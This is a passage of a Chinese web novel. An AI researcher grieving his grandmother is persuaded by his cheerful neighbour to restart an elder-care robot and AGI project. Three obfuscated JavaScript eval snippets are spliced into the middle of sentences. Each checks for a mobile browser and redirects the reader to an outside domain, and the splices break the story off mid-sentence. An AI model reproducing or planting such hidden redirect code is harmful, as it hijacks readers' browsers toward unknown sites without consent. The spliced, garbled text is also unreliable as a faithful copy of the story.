等了会儿，不见电话那头周默答应，可也没见他拒绝，迟了了有些尴尬地挠挠头。 其实她也不确定周默到底愿不愿意跟自己倾诉，毕竟之前关于“边界感”的问题，她至今也没研究出来什么结果，眼下这建议，委实可以说是“在越界的边缘疯狂试探”了。 然而今天的情况，又让她直觉周默真的需要找个人倾诉一下，那个人能不能是自己，她拿不准，但……试试呗？ 既然是朋友，迟了了觉得自己是有这个义务的！ 想了想，她换了个迂回点的方式：“那，我就先这么开着了哦，你想说就说，不想说的话，待会帮我挂断哦。” 说完将手机往枕头边一放，扯过被子躺了下去。 闭眼之前，她又抓过大白鹅的鹅掌朝手机挥了挥，好像周默真能看到似的，说了声：“晚安！” - 周默的亲生父母，都是工作极其忙碌、常年不归家的工种。 年轻时候，因为一次偶然邂逅，两个眼高于顶、在各自领域里出类拔萃的人竟然一见钟情、干柴烈火，之后更是在那个还不算多开放的年代就干出了闪婚的事，结结实实震惊了当时的一众亲友。 婚后不久，两人就生下了周默。 然而感情来得快，去得也快。同样因为工作忙碌，婚后夫妻二人聚少离多，乍起的激情如同喷涌的火山，短暂的汹涌澎湃后很快便冷却下来，成为一块块乌黑冷硬、千疮百孔的岩石。之前恨不得燃烧彼此的激情迅速褪去，经过多年分居后，夫妻俩终于在周默十五岁那年离了婚。 因为无父无母自己又忙，加之周默的选择，没有过多撕扯，周默父亲便放弃了抚养权，于是周默跟着母亲生活，而因为母亲也无暇照顾，周默更多时间实则是跟着外婆长大。 不过这对于周默而言并没有多大影响，因为从他出生后不久，常年四处奔波的父母就已经将他放在了外婆家。父母离异后，他的生活该怎样，仍是怎样。 又过了几年，周默妈妈从一线退下来，工作虽说依旧忙碌，但到底不用常年在外了。相对安逸的生活节奏下，样貌过人、能力超群的她很快又有了新的感情生活。对方是个做私募基金的，还有一个比周默只小了几个月的女儿，便是袁月。 就这样，一个全新的四口之家组成了。 有了幸福婚姻的滋润，忙碌多年的周默妈妈终于意识到自己对儿子的忽视和亏欠，准备着力弥补。 迟来的母爱还有没有必要？——对于这个问题，周默没有想过，也没有在意过。 “外婆是个中学物理老师，和她带的那些学生相比，她总嫌我性格太沉闷无趣，总说，如果我能跟她班里那几个调皮捣蛋的学生中和一下就好了。” 夏日的深夜中，城市的灯火若隐若现，突如其来的雨点打在窗户上，噼里啪啦的，带着躁动不安的气息。 周默依旧没有开灯，侧身睡在床上，通话中的手机被放在枕边，他就这样平静地说着。 “她是个性格爽快开朗的老太太，总是乐呵呵的，我从没见她叹过气，也没见她跟别人着过急，邻居家有小孩需要补课、需要照顾的，都会来找她。 “小学开始学写作文的时候，老师让写我的爸爸妈妈，我没什么可写，她就教我怎么拐弯抹角把她写成主角。 “其实，我去过游乐园。那时候荔安已经有好几家大型游乐园 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818864|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，很多小孩都跟父母去过，外婆一开始没关注这个，我那时候又闷，也一直没跟她说。后来有一次，老师布置作业，题目是《记游乐园的一天》，我无从下笔，就草草敷衍了一篇，结果自然成绩不佳。 “外婆知道后，第二天就给我们请了假，带我去游乐园。 “一个小孩，外加一个六十多岁的老太太，在游乐园里能玩的项目实在有限，可是我俩之前都没去过，所以对这些限制也就全然不知，踌躇满志地逛遍了游乐园，最后发现除了一些演出之外，能坐的也就是旋转木马和摩天轮了。 “我嫌旋转木马太幼稚，她嫌看着头晕，所以我俩最后选了摩天轮。” 周默还记得，排队的时候，外婆听到旁边来约会的年轻男女说，摩天轮升到最上面的时候许愿会梦想成真，便怂恿自己也许一个。但彼时的自己正处于对什么都瞧不上的年龄，闻言只说了两个字：“幼稚。” 老太太顿时乐得不行，笑着揉了揉他的脑袋，说：“宁可信其有嘛！”又问，“你要许什么愿？今年你生日，让你爸妈一起回来给你过怎么样？” “不要。”他说。 没说是不要许愿，还是不要许这个愿。 老太太却自顾自地说：“那我许这个！你想许什么你自己再想吧！” 那天后来，在摩天轮升至最高处时，害怕得像两只小仓鼠一样紧紧依偎在一起的祖孙俩不约而同地闭上了眼。 “后来我上大学，读了计算机专业，平日里跟朋友参加过一些比赛，有一次，我把做的机器人送给了她，她很高兴，又说让我以后再努努力，给她研发出一个能帮她做家务、讲笑话，还能帮她看病的机器人。 “再后来，我出国读博，她很高兴，出发前几天就开始念叨，说自己真厉害，一把年纪了还养出个全额奖学金的博士。 “博士毕业后，我得到了一个机会，当时的教授邀请我进他的实验室，一起进行更前沿的AI课题，还可以组建自己的研究团队……我答应了。 “我跟她说，那边资源各方面都更好一些，可以接触到更多前沿的理论和工具，等我过几年回来，肯定给她造一台完美的专属机器人，照顾她、陪她聊天解闷，给她调理身体。 “她说，好，她等着。 “可是我失约了。 “第五年，她走了，也是高血压，也是突发心梗，在半夜里……” 说到这里，周默停顿了很久，久到时间都快静止了，他才突然又笑了一下：“我终于意识到，其实我是个虚伪自私、卑劣不堪的人。 “我一直在离开她，从上大学，到出国留学，再到留在国外工作。可是我又一直哄着她，告诉她我会回来的，还会带着送给她的专属机器人。 “我留在国外、研究养老机器人，说是为了她，可扪心自问，难道不也是为了我自己？她真正需要的，究竟是一个机器人的陪伴，还是我的陪伴？ “养老机器人，说得冠冕堂皇，可难道不是为了我的自私？是我想偷懒、我想逃避照顾她的责任，所以便想去研究出一个什么狗屁机器人代替我来做这些事。 “我一直在自欺欺人……养老机器人的意义，真的是照顾老人吗？……还是为了像我这样自私的人，助纣为虐……” …… 一遍遍的自我诘问，让周默又一次陷入了茫然的迷雾中，他再次安静了许久，直到迷雾渐渐散去，他一点点回过神来，才发觉电话那头已经很久没有动静了。 “你睡了吗？”他试探着问了句。 电话那边的迟了了没有反应。 周默自嘲一笑，为自己莫名其妙的期待，也为刚刚交浅言深的失态。 算了，他想，虽然她真的没在听，可也确实如她所说，说出来，心里便轻了许多。 半支起身，他伸手探向枕边的手机，准备挂断。 可就在手指触碰到手机的一瞬间，电话那头突然响起一阵窸窸窣窣的杂音。 周默动作一顿，一动不动地看着通话界面上的那个卡通头像。 又过了两秒，那边终于传来声音，是小心的、犹豫的，又有点心虚的： “……那，你想让我睡了吗？” 37. 道心崩塌 周默定定地看着那个头像，几乎怀疑刚刚是不是自己幻听了。 “……周默？” 半晌，对面迟了了见他没动静，又更加小心翼翼地叫了声他的名字。 周默蓦地笑了，手一松又倒进枕头里，抬手盖住眼睛，胸口微微震了两下，唇角扬着难以自抑的弧度。 “你不是说很困了吗？”他问。 这话就有点对自己出尔反尔的指控了！ 迟了了顿时来了劲，连珠炮一般说道：“哎，你知道我坚持得有多痛苦吗？本来就困，你声音又这么助眠，我都闭上眼眼看要睡着了，结果你一提袁月，我又醒了！” 周默无处抵赖：“……是我的错？” “我原谅你了，”迟了了表示自己大人有大量，“我算是听出来了，你这也不是什么大问题，就是钻了牛角尖！属于遭遇重大冲击之后的自我怀疑，嗯……用那些仙侠剧里的设定来说，就是‘道心’——咔嚓，崩了！” 周默被她说得一头雾水：“什么‘道心’？” “就是那个，”迟了了思索了一下措辞，“个人信念？按你的经历来说，就是你之前很坚定地在追求你的目标，研究那个养老机器人对吧——别说，这个好像还挺有意思的——可是你外婆的过世，我猜测这中间还有一些其他人的声音，总之，你脑子突然想岔了！觉得自己之前追求的都是，嗯，狗狗放屁！ “而且你不仅否定了自己追求的目标、做的事的价值，甚至还进一步否定了自己的人品！” 周默算是听明白了，可…… “难道不是这样吗？养老机器人所谓的‘进步’，带来的，不就是本该陪伴在父母身旁的子女的解脱？子女把一个这样的机器人送到父母身边，美其名曰‘孝顺’，但归根结底不过是为了粉饰自己良心的不安，父母内心的真实需求，我们却装作没看到。” “嗯……可我认为，不是这样的哦。”迟了了语气柔软，否定的话却说得一点也不委婉。 “子女尽孝的方式有很多，能陪在父母跟前，当然是最理想的一种情况。可事实上，像你外婆和张奶奶这样的独居老人现在并不少见，尤其是在荔安这样的一线城市里，子女长大成人，去外地的、出国的，很多很多。 “还有像我之前说的两代人观念不同的情况，两辈人相处不来，硬要生活在一起的话，谁也不会开心的。总之，现在子女离开父母，已经不稀奇了。 “可很多子女虽然不在老人身边，却也一直记挂着老人，给老人买理疗仪、按摩椅、保养品，提醒老人按时体检、注意饮食，就像隔壁张奶奶的儿子一样。 “再说了，就算生活在一起，就算再用心，谁又能保证自己可以时时刻刻照顾着老人呢？即便是住在同一座城市、同一个小区，甚至同一所房子，老人上了年纪，就难免在预料不到的地方出些岔子嘛，可能是洗澡或者上厕所的时候摔了一跤，嗯，也可能是午睡的时候突发疾病。之前不还有新闻说嘛，老人睡一觉醒来，发现旁边的老伴儿身体都凉了，这种总够近了吧，不也没用？ “所以，我说你是在钻牛角尖！” 最后，她一锤定音。 周默沉默了。 如果说晚上对于“养儿防老”中把子女当做“养老工具”的指责让他大受震撼，此时，迟了了的这一番话又让他更加动摇了。 子女是父母的养老工具吗？ 如果不是，你凭什么要求子女不能追求自己的人生，而是要为了个“孝”字把自己捆绑在父母身边？ 如果是，工具又能时时刻刻奏效吗？ 他没反应，迟了了等了会儿，不由得有些慌了，回忆自己刚刚的话——莫非……说的有点冷血？吓到他了？ 她赶紧找补：“而且现在社会养老制度已经在慢慢完善了，虽然偶尔还有一些新闻，说什么养老院虐待老人之类的，但也有好多养老院的环境和服务都可好了！而且社区对于独居老人的照顾也很多，咱们小区附近还有个老年人活动中心，我去看过，有很多技能培训课和文艺活动呢，比如下棋、弹琴、打乒乓球之类的，搞得我都想加入了！ “对了，还有你说的那个什么养老机器人，听起来好像蛮有意思的，具体是什么样子啊？你之前不是说你的工作就是机器人方面的嘛，跟这个有关系吗？” “……有一定关系，”周默被她接二连三的话说得有些反应不过来，顿了顿才答，“现在做的是感知交互和操作决策型具身智能，算是前期阶段，养老机器人的话，属于专项应用领域的通用具身智能，是更高阶的AGI技术，兼具生活照料、健康护理和情感陪伴的功能。” “会像科幻电影里的那种吗？仿真人的？！”迟了了激动起来。 “……差不多吧。” “那也太酷了！还要多久能研究出来？” “……”周默动了动唇，“研发中断了。” “那你赶紧重新搞起来呀！人虽然不能无时无刻地陪着，但机器人可以啊！”迟了了兴奋地说，“你好好研发，抓紧时间上市更新几代，做大做强，说不定等我老了，也能让你的机器人给我养老呢！这也太酷了！” 想到什么她又补充：“而且不是我打击你哈，今天医生都说了，心梗这种病发作起来又急又猛，你说你外婆是半夜发生意外的，那你当时就算在家，也不一定来得及发现和抢救，对吧？相比之下……我倒觉得你这机器人，比你作用大多了！” “作用很小”的周默：“……” - 这一夜，周默彻夜未眠。 和迟了了的通话在一个小时后手机发出的低电量警告中结束，之后，他便一直一动不动地望着窗外发呆。 直至时间一点点继续流逝。 直至天边出现了一抹鱼肚白。 他突然一下子坐起来，掀被下床，大步走出卧室，来到书房，打开电脑。 电脑磁盘的深处，在几乎最里面的地方，有个加密的文件夹。 周默丝毫没有犹豫地输入密码，打开文件夹，一整排文件瞬间出现在他眼前，仿佛早已枕戈待旦的士兵，在经久的等待后终于迎来了君主的诏令，一个个精神抖擞，跃跃欲试！ 他快速扫了眼归置齐整的文件夹，然后，目光落在最上面那个文件上，手指滑动触控板，鼠标也随之落在文件上。 点击，打开。 漫长的沉睡未能磨灭这名“士兵”的灵敏，似乎只是眨眼之间，满屏的全英文档便闪现出来，黑色的粗体标题下，一行行英文密密麻麻地排列着，从上到下，从左到右，让人几乎眼花缭乱。 而周默坚定果决的目光在看到这一幕后，也顿时一变，那眼神，仿佛他看到的不是一堆文稿，而是久违的战友。 他舒了口气，转头看了眼窗外。 朦胧的天光已经穿透夜的黑暗照进了客厅和书房，而在他心里，那已徘徊许久的阴霾，也终于迎来了曙光。 久违的阳光穿云而过，上演着一场，专属于他的丁达尔效应…… 周默重新将注意力放回面前的文件上，手指继续滑动鼠标，将文档一点点下拉。这些半年前由他一笔一笔敲出来的字符，在被他亲手掩埋之后，终于又与他再度相见。 看完了文档，他又逐一打开了文件夹里其他所有文件。 等将所有文件一一看完，天色已经大亮，看了眼电脑上的时间，已经上午9点多了。 想了想，周默回卧室拿过充足电的手机，给祝赫拨了出去。 - “不是兄弟，你消失的这一天是去哪了呀？不是说好，新品发布前最后这两周每天都来的吗？” 周默的办公室里，祝赫一进门就往沙发上一瘫，惨兮兮地抱怨：“我昨天开了一天的会，今天还有很多事要做，你有什么事快说，说完跟我去干活！” 办公桌后，周默看着他这副模样——确实肉眼可见的疲惫——没有打断，直到他抱怨完了，才将面前的电脑打开，然后转向他。 “我想用精卫，重启一个项目。”他开门见山，徐徐说道。 “？” 祝赫一开始没听明白，直到这话从耳朵传进脑子又转了几个弯彻底被大脑拆解消化之后，才终于反应过来，然后一个猛子从沙发上坐起。 “什么东西？！” 重启项目？ 看到桌上正对着自己的电脑，他自觉地凑过去：“什么项目？” 然而不用周默开口，他已经看清了屏幕上方的那两行黑色加粗标题。 祝赫：“……多模态大模型？” 他看看电脑，又看看周默，然后又看向电脑。 周默示意他继续往下看。 于是他抬手往下滑。 文件是全英的，不过对于他们这种经常看论文的人来说没什么难度。 文件里有对当下AI技术发展进程的宏观概览，也有对AI落地应用的技术剖析和优弊总结，以及当下市场上各类大模型的分析。 不过更多的，则是在此基础上，提出的一个同时涵盖文本、语言、视觉、听觉等多种数据处理、输出与执行功能的多模态大模型构思。 祝赫眼睛渐渐瞪大。 摆在他面前的，是一个比现今市场上任何一款AI大模型都要超前，且极具可执行性的大模型框架。他的思路已经成熟到，完成了前期90%的工作，只需在稍作完善，即可投入后期开发。 更让祝赫几乎热泪盈眶的是，在文件的后半段，周默将该模型与他的具身智能相结合，更大程度上释放了该模型的潜力，有望实现AGI通用具身智能的设想，还以家居养老为切入点，提出了一整套全场景养老机器人的落地构想。 文件很长，祝赫一页页往下翻，越翻越严肃，越翻越心惊，最后干脆抱起电脑坐回沙发上认真看了起来。 直到看到最后，是上文所述的养老机器人1.0版本的设计雏形，以及后续更新迭代的进度规划，和功能更全面的家居型超代具身智能…… 将近一小时后，祝赫才缓缓抬起头，看向桌后从容淡定的周默。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周默唇角轻扯，似笑非笑地对上他揶揄的神色：“当然，而且这个项目，我要做总负责人。多模态大模型的研发，我亲自带领把控。” “这就对了嘛！” “还有你之前说的，合伙人……” “没问题！” 周默满意地点点头：“另外，还有个事。” “什么？” 周默让他把电脑给自己，在上面操作了一阵，然后重新转向祝赫：“这上面的人，你要帮我招进来。” 祝赫一听乐了。 “怎么着，现在AI组的这些人你看不上？”他一边说着一边低头看去，这一看，愣了，“这些人？” 这可都是近几年行业顶会顶刊上的常客，其中有三个，还是知名AI实验室和顶尖科技公司的新秀！ 这么一比，现在公司里那几个人，确实有点不够看。不过—— “人家乐意来吗？” 虽说精卫现在发展得不错，在行业里也算数得上，可人家现在混的也不差啊。 周默耸耸肩：“所以需要你的三寸不烂之舌。” “哈？”祝赫震惊，“硬说啊？” 周默没忍住笑了：“放心，我之前跟他们有过联系，也探过口风。” 这还差不多。 周默又说：“公司里现在这些人也还可以，但我的想法是，在身体和大脑正式合体之前，尽量不干扰你原有的架构和人员配置。而我需要组建一个专门投入在这个项目上的队伍，他们几个，暂时还是留给你吧，不过我也会带着他们。” 祝赫耸耸肩，表示没有异议。 只是在刚刚进来之前，他怎么也没想到，自己和周默会在这么短的时间里，做了个这么大的决定。 恍然间，他还有点不真实感…… 周默似乎明白他的想法。 “通用具身智能是AI的大势所趋，就像登月对于国人的吸引力一样，‘广寒宫’就在那里，我们如果不做，别人也会做，甚至已经在做。”他看着他，缓缓说道，“祝赫，这次，你还敢不敢跟我一起试试？” 祝赫浑身一震，猛然抬头看向他。 熟悉的口吻，熟悉的神气，一瞬间让他想起当年大学里两人第一次组队合作的情形…… 记得当时，两人还是望不见王，暗暗较劲，可是那一次，国际AI协会发起了一场全球范围内的大学生机器人大赛，竞赛的难度不小，如果凭他们两个之前的团队，很难崭露头角。 那次也是这样，周默找到自己，开门见山地提出了一个极其大胆的设想，然后也是问了这样一句： “祝赫，你敢不敢跟我一起试试？” 祝赫顿时浑身热血冲上脑门，“啪”地一下拍在桌子上！ “试就试！” 38. 画龙点睛 聊完养老机器人的事情后，周默又被祝赫拉着去为迫在眉睫的新品发布打工了。 发布会之前的事情尤其多，加上又有别的产品研发也在推进，周默愣是忙活了大半天，直到下午4点多，才以“昨晚没睡，实在撑不住了”为由逃了出来。 解开了心头的一个死结，周默感觉浑身轻松了不少，一路回到翠湖里，刚出电梯门，正准备回去休息一下，就在门口看到了那个熟悉的身影。 身上一件花团锦簇的绿色无袖蓬蓬裙，头上一个叶子形状的发卡——照旧一身格外显眼五彩斑斓的搭配，只看背影，也觉得精神熠熠。 而当她回过头来，也确实如此。 迟了了一见周默，大大的眼睛里顿时发出明亮的光，脸上每个细节都仿佛写满惊喜：“呀，周默！你竟然上班去了？！” 周默：“……嗯，你过来有事？” “哦，我准备去医院看看张奶奶，想问你要不要一起？”迟了了笑着说。 想起昨天在医院听到的那些话，周默稍微思考了一下，决定暂且放弃回去补觉的打算： “好。” - 粉色的宝宝巴士在傍晚的马路上悠闲前行，难得一见的晚霞打在车身上，像是一块粉嫩可口的巧克力蛋糕上又淋了一层糖浆，看起来格外诱人。 迟了了开着车，嘴里哼着不成调的曲子，整个人开心地仿佛有小花一朵接一朵地从她身上雀跃地蹦出来。 然而下一秒，她目光瞥向旁边的副驾驶座上——在那里，已经将座椅调到最后的周默正束手束脚地蜷缩在位子上，以一种十分憋屈的姿势调整着坐姿。 “现在好点了吗？”她问。 周默往旁边坐了一点，歪着身子将两条腿向着车门斜放，闻声叹了口气： “还行吧。” 因为昨晚一夜没睡，周默今天去公司都没有开车，而迟了了这一个白天却是把觉补得足足的，于是两人出门只好由她来开车。 原本周默是建议她开自己的车的，无奈迟了了开惯了小车，突然换成大车实在掌控不过来，上车刚一起步，就差点跟隔壁的一辆玛莎拉蒂来了个亲密热吻，吓得她无论如何都不敢再碰方向盘了。 周默又建议打车，可正值下班高峰期，两人等了很久也没人接单。 就这样，从刚搬来这个小区的第三天就对那辆粉色宝宝巴士避之不及的周默，最终还是没能逃过坐上去的命运。 “你们公司可真剥削，”迟了了不知他心里的不甘，兀自吐槽道，“不就请了一天假吗？你昨天都没睡，今天又要去上班，真是无良老板！” 她却不知道，这一句话就射出去两箭，一箭射向毫不知情的祝赫，另一箭，则不偏不倚，扎在了旁边的周默身上。 周默被她说得有些心虚，摸了摸鼻子：“不是，是朋友的公司，我过去是要跟他商量重启研究的事。” “重启研究？”迟了了登时一喜，“养老机器人？！” “嗯。” “那太好了！”他行动力这么快还真是迟了了没有想到的，莫非这就是学霸的优秀之处？ “不过也要注意休息啊，”但转而她又提醒，“听说你们计算机行业普遍脱发的，你可得预防着点，不能这么熬夜的！” 周默顿时难以置信地看向她，不明白她是怎么以如此坦然的语气，说出如此双标的话的。 “那你天天熬夜，怎么不见脱发？”他反问。 迟了了立刻神气十足地晃晃脑袋：“我这是天赋异禀，其他人学不来的！” 周默冷呵一声。 …… 医院离小区本就不远，两人开着车说着话的工夫，就看到了前方医院大楼的影子。 为了周默的发际线着想，迟了了说：“咱们快去快回，这样你可以早点回去补觉。” 周默欲言又止了一番，最后选择闭嘴：……我真是谢谢你的好意啊。 然而事实却是，两人确实也不用待多久。 两人刚来到监护室外，正好在走廊里遇到拎着水壶出来打水的小张奶奶。 迟了了见状赶紧上前接过来，然后转手把水壶递给了周默。 周默怔了一下，抬手接住，默不作声地跟在两人身后听她们说话。 “小张奶奶，张奶奶今天情况怎么样啊？”迟了了搀着老太太，问。 “没事，从昨天到今天都好好的，放心！”小张奶奶答。 “那就好，”迟了了又问，“您这一天一直都守在医院吗？” 小张奶奶乐了：“哪能哟！昨儿晚上是我儿子在这，今天白天换我，他得去上班！再说了，这哪里说得上是‘守’哟！CCU医院又不让进，连探视都有规定时间，我们就在外面，不过医院有家属休息区，我们就在那儿呆着，以防医院有事好找不着我们。” 迟了了“哦哦”两声。 小张奶奶又说：“待会儿我儿子下班之后就过来，晚上他守在这儿。” “那，您儿子辛苦了！” 小张奶奶摇头“嗐”了一声，没接这话。 迟了了看着她这反应，犹豫了一下，试探着又问：“那，张奶奶儿子，回来吗？” 这个问题立马引爆了小张奶奶心里的怨气，她脸色瞬间冷了下来：“他当然得回来！他妈都这样了，他就算是在外太空也得给我回来，不然以后干脆死在外面得了！” 迟了了见她这怒气冲冲的样子，不由缩了缩脖子，回头看了眼周默。 小张奶奶发泄完，也察觉自己跟两个外人抱怨发火不大合适，敛了敛外放的怒气，说：“回来，明天就到了。” 迟了了赶紧点头。 …… 因为已经过了医院规定的探视时间，迟了了和周默来晚了一步，见不到张奶奶，因此也就没有久留，把小张奶奶送去休息区，又陪着说了会儿话，刚好小张奶奶儿子拎着从家里带的晚饭过来接班，两人便打了声招呼就走了。 回去的路上，车里一直沉默着。 直到走到半路，迟了了突然叹了一口气：“小张奶奶儿子好辛苦呀！又要上班，又要在医院陪护，家里还有个孩子。” 周默原本正看着窗外走神，听到这话轻轻“嗯”了一声。 迟了了瞟了他一眼，又说：“其实很多子女陪护都挺辛苦了，一边要工作，一边要照顾老人，一边还要照顾孩子。” 周默又“嗯”了一声。 “特别是现在好多独生子女的年轻夫妻，万一两边家人同时生病，就更麻烦了，请护工又怕不上心。” 周默再次“嗯”了一声。 感觉铺垫得差不多了，她再接再厉：“这时候，如果再有个人能分担一下就好了！” 这么明显的话，周默如果再听不出来就枉他长了颗脑袋了。 他转过头，看着迟了了：“你想说，养老机器人，是吧？” 跟聪明人说话，就是省事！ 迟了了连连点头：“嗯嗯嗯！” 周默顿时呵笑一声，再次转头看窗外。 然而看了一会儿，他的嘴角却又不知不觉勾了起来。 “对了，我有个问题昨天晚上就想问你了。”迟了了突然想起来，又说。 周默：“什么？” “你说的那个AGI，是这个词吧？到底是什么意思呀，我知道AIGC，但没听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818866|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过你这个。”迟了了说。 周默转过头来，看着前方的车流，思索了片刻，才答：“AGI和AIGC都与AI有关，但是不同维度的概念，AIGC全称是ArtificialIntelligenceGeneratedContent人工智能生成内容，是AI技术在内容生成领域的一项具体应用。而AGI是?ArtificialGeneralIntelligence，也就是通用人工智能，则是AI技术追求的理想状态，是目前AI发展的终极目标。” “目前？” “对。与之相应的，还有另外两个概念，ANI和ASI。ANI是狭义人工智能，AGI是通用人工智能，ASI是超级人工智能，目前全球AI技术的发展已经实现了ANI，正在向AGI探索。” 迟了了更纳闷了：“那为什么说AGI是终极目标，不是ASI呢？” “因为ASI风险更大，”他说，“如果你看过一些关于超级人工智能的科幻作品，应该不难发现，当人工智能过度发展，不可控性就会更大，而且很容易对社会伦理和人类文明造成冲击。相比之下，AGI更可控，作为工具，它足够了。” “哦——”迟了了恍然。 “那，AGI会抄袭吗？”她突然又问。 周默一怔：“什么？” “就是，”迟了了撇撇嘴，“哼，有人拿我的画去投喂AIGC生成图片，你做的这个AGI不会也这样吧？” 说完，她瞪了他一眼。 周默：“……” “我只能保证我不会，”叹了口气，他说，“日后这个模型投入到祝赫的机器人身上也不会，但别人如何研发使用，我无法保证。” “嗯……那也行吧。”迟了了鼓鼓脸颊。 她管得了一个卖刀的人，管不了所有卖刀的人，就算管得了卖刀的人，也管不了用刀的人。 不过…… “模型又是什么？”怎么又有个新名词？ “……你可以理解为大脑，我负责的是大脑开发，成功后要跟祝赫的机械体结合起来，才是一个完整的智能机器人。” “哦——” 这时，车子来到路口一个红灯前，迟了了郎洋洋地四处看着，目光落在旁边的一个广告牌上，脑子里冷不丁又冒出一个问题。 “那你这个模型有名字吗？它总要跟以后别人做的AGI模型有个区别吧？就像那什么AlphaGo之类的。” 这个问题，周默倒还确实没想好，便问：“你有什么建议吗？” 迟了了原本只是一问，想着等以后研发出来了，自己好关注一下，听他这么问，立刻兴奋起来。 “我想想啊！” ……这一想，就想到了家门口。 电梯来到8楼，周默道了声“再见”，抬步走出去。 “有啦！” 突然，脑袋转了一路的迟了了惊叫一声，把他吓了一跳。 “什么？”他回头看去。 迟了了摁着电梯开关，兴奋地喊道：“叫‘点睛’怎么样！” “点睛？” “嗯嗯，画龙点睛的意思！你不是说你的模型就相当于机器人的脑子嘛，那不就像那个画龙点睛的故事一样，给龙点上一双眼睛，它就活起来了？” 周默一愣，这才反应过来，她还在想名字的事情，不禁有些哭笑不得。 但…… 点睛？ 好像确实不错。 不愧是画画的人想出来的。 “挺好的。”他说，“我回头跟祝赫商量一下。” 迟了了喜不自胜：“好！” 39. 我出师啦 翌日，“或者”。 闯闯端着托盘来到角落里的一张桌子前，将盘子上的咖啡轻轻放到身穿白色衬衫的女人面前：“您好，您的咖啡。” 然后又拿起另一杯果饮，放到对面迟了了手里。 “还有你的。” “谢谢。”女人点点头，温和地朝她笑了笑。 闯闯也回了她一个礼貌的笑容，转头看了眼已经捧着杯子喝起来的迟了了，说了句“你们聊”，便转身往柜台走去。 柜台后，一直悄悄探头往这边看的阿葱见她回来，立马凑了上来，小声地问： “闯姐，那个女人是谁呀？她好——温柔啊！” 刚刚，两个老板在角落里那张桌子边聊天，她正在柜台后面埋头做咖啡，突然就听见门口铃铛响起，随后，便是一声极其温柔好听的——“你好”。 那声音怎么形容呢？ 就好像，是一阵春风吹到了人的耳朵里，又像是躺在了天上白白软软的云彩里，还像是有一只手在轻轻抚摸你的灵魂。 她抬头一看，就见面前站着一个长相气质极佳、身穿白色真丝衬衫的女人。 还没等她反应过来，那边二老板便朝这边举起手招呼道：“苏姐姐，这里！” 女人闻声朝那边看去，脸上笑容更深了一些。 而后，她又回眸，朝阿葱微笑着点了下头，才转身往那边走去。 阿葱瞬间呆在了原地。 如果不是确定自己是直的话，她相信，自己肯定是一见钟情了。 …… 闯闯将托盘放在柜台上，抬头看了她一眼。那与平日里的漫不经心截然不同的目光，让她一下子就清醒了过来。 “没事别乱打听。”闯闯淡淡说了一句。 阿葱抿起唇，立刻老老实实地立正站好，转身干活去了。 虽然自己老板大多时候都挺随和的，但阿葱就是觉得，她这人性子其实挺冷的。在不触及底线的前提下，她可以随你折腾，自由度极高，但一旦越线，立马变脸。 她很满意现在的工作，所以，还是别试探了。 …… 角落里，女人尝了口咖啡，看向面前的迟了了，沉静平和的表情里，目光带着隐隐的担心。 “发生什么事了吗？”她问。 “嗯！”迟了了立刻应道，转而又说，“不过应该没什么大问题。” “怎么了？” “前天发生了点事情，我隔壁的奶奶突发心梗，昏迷了，我和我邻居一起救了她，然后——”迟了了低下头，咬着吸管小声地说，“又看见了……” 女人瞳孔瞬间一紧，目光紧紧盯着她，一动也不敢动。 又过了会儿，她藏起眼底的担忧，重新找回自己的声音：“大约持续了多久？” “几秒钟吧，”迟了了晶亮的眼珠子转了转，不大确定地说，“当时周默正在给张奶奶做急救，我打了120，然后去给张奶奶找药，没耽误多久，所以……应该就一小会儿？” “你自己缓过来的？” “嗯！”说起这个，迟了了立马振奋起来，一脸骄傲地说，“我就是提醒自己要冷静下来，我还得去给张奶奶找药呢，然后我就好了！” 女人看着她的眼睛，等确认她眼神中确实没有一点异样，这才慢慢松了口气。 “你做的很好，”她浅笑着说，“应该是当时的情况让你精神一下子过于紧张了。但好在，你还是这么勇敢。” 突然被夸奖，迟了了嘻嘻一笑，埋头又吸了一大口果汁。 下一秒，她动作又倏地一滞：“哦对了，另外还有个事情，我没太想明白。” “怎么？” 迟了了将杯子放在一旁，给她讲述那天晚上发生的事情。 听完她的话，女人思忖片刻，说：“他这种情况，在心理学上有一种说法，叫做‘归因偏差’。” “归因偏差？”迟了了歪歪头，没太明白。 “没错，人们通常会对某件事情的发生和结果寻根溯源，以期找到导致事情成功或者失败的根本原因，原因包括内因和外因，而这时候，就容易形成偏差。”女人说。 “归因偏差有很多种情况，其中有一种，叫做‘过度内归因’，适当的内归因，可以表现为勇于担当、有责任心。而你这位邻居，则将不该自己承担的责任，背负在自己身上，属于过度内归因。” “过度，内归因？”迟了了感觉自己似乎明白了一些，又问，“那怎么调整过来呢？” 女人笑：“你没发现吗，你已经帮他调整过来了。” “啊？” “他的过度内归因，是将他外婆意外的发生归咎于自己没有及时回国，而你对他的开解，则恰恰属于相应的一种解法，在专业领域，叫做‘外部归因调整’。”顿了下，她又说，“其实，你对他说的话，和当年你妈妈对你说的，有一样的效果。” 